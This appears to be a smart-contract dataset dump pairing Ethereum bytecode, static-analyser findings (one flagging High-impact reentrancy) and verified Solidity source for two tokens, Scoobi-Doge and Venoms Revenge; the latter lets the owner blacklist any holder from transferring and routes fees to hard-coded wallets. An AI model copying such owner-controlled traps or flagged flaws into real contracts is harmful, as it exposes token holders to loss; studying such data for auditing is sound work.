78636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61370c81613218565b811461371757600080fd5b50565b6137238161322a565b811461372e57600080fd5b50565b61373a81613256565b811461374557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e048165d4b87e00bfe350124f651219998a9f663fcc6cbb8846a2ac3227f7e6364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,292
0x06a87f6afec4a739c367bef69eefe383d27106bd
/** *Submitted for verification at Etherscan.io on 2021-04-22 */ /* ---------------------------------------------------------------------------- Scoobi-Doge Token Contract A real decentralized community token with 100% tokens in starting Uniswap supply and locked away for 10 years, no minting functions. Further information on https://github.com/Scoobi-doge/Scoobi-doge.github.io BTW Scoobi-Doge really is a cool dog breed, and arguably the strongest. Symbol : SCooBi Name : Scoobi-Doge Total supply : 100000000000 Decimals : 18 Deployer Account : 0xA1c71DD36b10009012B01b9e82f9b749286F12c6 ---------------------------------------------------------------------------- */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * This project does not require SafeMath library because Solidity version used is 0.8.0 * and it has safe implementations of arithmetic operators used in this contract. * Further info: https://ethereum.stackexchange.com/questions/91367/is-the-safemath-library-obsolete-in-solidity-0-8-0 */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Scoobi-Doge"; _symbol = "SCooBi"; _totalSupply = 100000000000000000000000000000; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461013457806370a082311461015257806395d89b4114610182578063a9059cbb146101a0578063dd62ed3e146101d057610093565b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100e657806323b872dd14610104575b600080fd5b6100a0610200565b6040516100ad9190610d99565b60405180910390f35b6100d060048036038101906100cb9190610a78565b610292565b6040516100dd9190610d7e565b60405180910390f35b6100ee6102b0565b6040516100fb9190610e7b565b60405180910390f35b61011e60048036038101906101199190610a29565b6102ba565b60405161012b9190610d7e565b60405180910390f35b61013c6103bb565b6040516101499190610e96565b60405180910390f35b61016c600480360381019061016791906109c4565b6103c4565b6040516101799190610e7b565b60405180910390f35b61018a61040c565b6040516101979190610d99565b60405180910390f35b6101ba60048036038101906101b59190610a78565b61049e565b6040516101c79190610d7e565b60405180910390f35b6101ea60048036038101906101e591906109ed565b6104bc565b6040516101f79190610e7b565b60405180910390f35b60606002805461020f90610fdf565b80601f016020809104026020016040519081016040528092919081815260200182805461023b90610fdf565b80156102885780601f1061025d57610100808354040283529160200191610288565b820191906000526020600020905b81548152906001019060200180831161026b57829003601f168201915b5050505050905090565b60006102a661029f610543565b848461054b565b6001905092915050565b6000600454905090565b60006102c7848484610716565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610312610543565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038990610e1b565b60405180910390fd5b6103af8561039e610543565b85846103aa9190610f23565b61054b565b60019150509392505050565b60006012905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606003805461041b90610fdf565b80601f016020809104026020016040519081016040528092919081815260200182805461044790610fdf565b80156104945780601f1061046957610100808354040283529160200191610494565b820191906000526020600020905b81548152906001019060200180831161047757829003601f168201915b5050505050905090565b60006104b26104ab610543565b8484610716565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b290610e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561062b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062290610ddb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107099190610e7b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610786576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077d90610e3b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ed90610dbb565b60405180910390fd5b610801838383610995565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e90610dfb565b60405180910390fd5b81816108939190610f23565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109239190610ecd565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109879190610e7b565b60405180910390a350505050565b505050565b6000813590506109a981611080565b92915050565b6000813590506109be81611097565b92915050565b6000602082840312156109d657600080fd5b60006109e48482850161099a565b91505092915050565b60008060408385031215610a0057600080fd5b6000610a0e8582860161099a565b9250506020610a1f8582860161099a565b9150509250929050565b600080600060608486031215610a3e57600080fd5b6000610a4c8682870161099a565b9350506020610a5d8682870161099a565b9250506040610a6e868287016109af565b9150509250925092565b60008060408385031215610a8b57600080fd5b6000610a998582860161099a565b9250506020610aaa858286016109af565b9150509250929050565b610abd81610f69565b82525050565b6000610ace82610eb1565b610ad88185610ebc565b9350610ae8818560208601610fac565b610af18161106f565b840191505092915050565b6000610b09602383610ebc565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610b6f602283610ebc565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610bd5602683610ebc565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610c3b602883610ebc565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610ca1602583610ebc565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d07602483610ebc565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610d6981610f95565b82525050565b610d7881610f9f565b82525050565b6000602082019050610d936000830184610ab4565b92915050565b60006020820190508181036000830152610db38184610ac3565b905092915050565b60006020820190508181036000830152610dd481610afc565b9050919050565b60006020820190508181036000830152610df481610b62565b9050919050565b60006020820190508181036000830152610e1481610bc8565b9050919050565b60006020820190508181036000830152610e3481610c2e565b9050919050565b60006020820190508181036000830152610e5481610c94565b9050919050565b60006020820190508181036000830152610e7481610cfa565b9050919050565b6000602082019050610e906000830184610d60565b92915050565b6000602082019050610eab6000830184610d6f565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610ed882610f95565b9150610ee383610f95565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610f1857610f17611011565b5b828201905092915050565b6000610f2e82610f95565b9150610f3983610f95565b925082821015610f4c57610f4b611011565b5b828203905092915050565b6000610f6282610f75565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015610fca578082015181840152602081019050610faf565b83811115610fd9576000848401525b50505050565b60006002820490506001821680610ff757607f821691505b6020821081141561100b5761100a611040565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b61108981610f57565b811461109457600080fd5b50565b6110a081610f95565b81146110ab57600080fd5b5056fea264697066735822122019cd382a2ddd8dc3af861e091ba5084cc1df6cc10810b3bd9e4f9ca2ef992e6664736f6c63430008000033
{"success": true, "error": null, "results": {}}
7,293
0x04014bad63bac0be4a5f5a7bcfdb1bbe3201133b
/** *Submitted for verification at Etherscan.io on 2021-10-12 */ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract VenomsRevenge is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 1; uint256 private _feeAddr2 = 10; address payable private _feeAddrWallet1 = payable(0xC78341d210493b04f95BF3517cFe879946f62a81); address payable private _feeAddrWallet2 = payable(0x22621F2253D0CBd1De33705b72A7aca33655931a); string private constant _name = "Venoms Revenge"; string private constant _symbol = "VENOM"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isBuy(from)) { _feeAddr1 = 6; _feeAddr2 = 1; } else { _feeAddr1 = 6; _feeAddr2 = 10; } if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cd578063b515566a146102ed578063c3c8cd801461030d578063c9567bf914610322578063dd62ed3e1461033757600080fd5b806370a0823114610242578063715018a6146102625780638da5cb5b1461027757806395d89b411461029f57600080fd5b8063273123b7116100d1578063273123b7146101cf578063313ce567146101f15780635932ead11461020d5780636fc3eaec1461022d57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101af57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d56656e6f6d7320526576656e676560901b60208201525b60405161014e919061178f565b60405180910390f35b34801561016357600080fd5b5061017761017236600461162f565b61037d565b604051901515815260200161014e565b34801561019357600080fd5b506a52b7d2dcc80cd2e40000005b60405190815260200161014e565b3480156101bb57600080fd5b506101776101ca3660046115ee565b610394565b3480156101db57600080fd5b506101ef6101ea36600461157b565b6103fd565b005b3480156101fd57600080fd5b506040516009815260200161014e565b34801561021957600080fd5b506101ef610228366004611727565b610451565b34801561023957600080fd5b506101ef610499565b34801561024e57600080fd5b506101a161025d36600461157b565b6104c6565b34801561026e57600080fd5b506101ef6104e8565b34801561028357600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102ab57600080fd5b5060408051808201909152600581526456454e4f4d60d81b6020820152610141565b3480156102d957600080fd5b506101776102e836600461162f565b61055c565b3480156102f957600080fd5b506101ef61030836600461165b565b610569565b34801561031957600080fd5b506101ef6105ff565b34801561032e57600080fd5b506101ef610635565b34801561034357600080fd5b506101a16103523660046115b5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061038a3384846109fd565b5060015b92915050565b60006103a1848484610b21565b6103f384336103ee8560405180606001604052806028815260200161197b602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e34565b6109fd565b5060019392505050565b6000546001600160a01b031633146104305760405162461bcd60e51b8152600401610427906117e4565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047b5760405162461bcd60e51b8152600401610427906117e4565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b957600080fd5b476104c381610e6e565b50565b6001600160a01b03811660009081526002602052604081205461038e90610ef3565b6000546001600160a01b031633146105125760405162461bcd60e51b8152600401610427906117e4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061038a338484610b21565b6000546001600160a01b031633146105935760405162461bcd60e51b8152600401610427906117e4565b60005b81518110156105fb576001600660008484815181106105b7576105b761192b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f3816118fa565b915050610596565b5050565b600c546001600160a01b0316336001600160a01b03161461061f57600080fd5b600061062a306104c6565b90506104c381610f77565b6000546001600160a01b0316331461065f5760405162461bcd60e51b8152600401610427906117e4565b600f54600160a01b900460ff16156106b95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610427565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f830826a52b7d2dcc80cd2e40000006109fd565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561073157600080fd5b505afa158015610745573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107699190611598565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b157600080fd5b505afa1580156107c5573d6000803e3d6000fd5b505050506040513d601f19601f82011682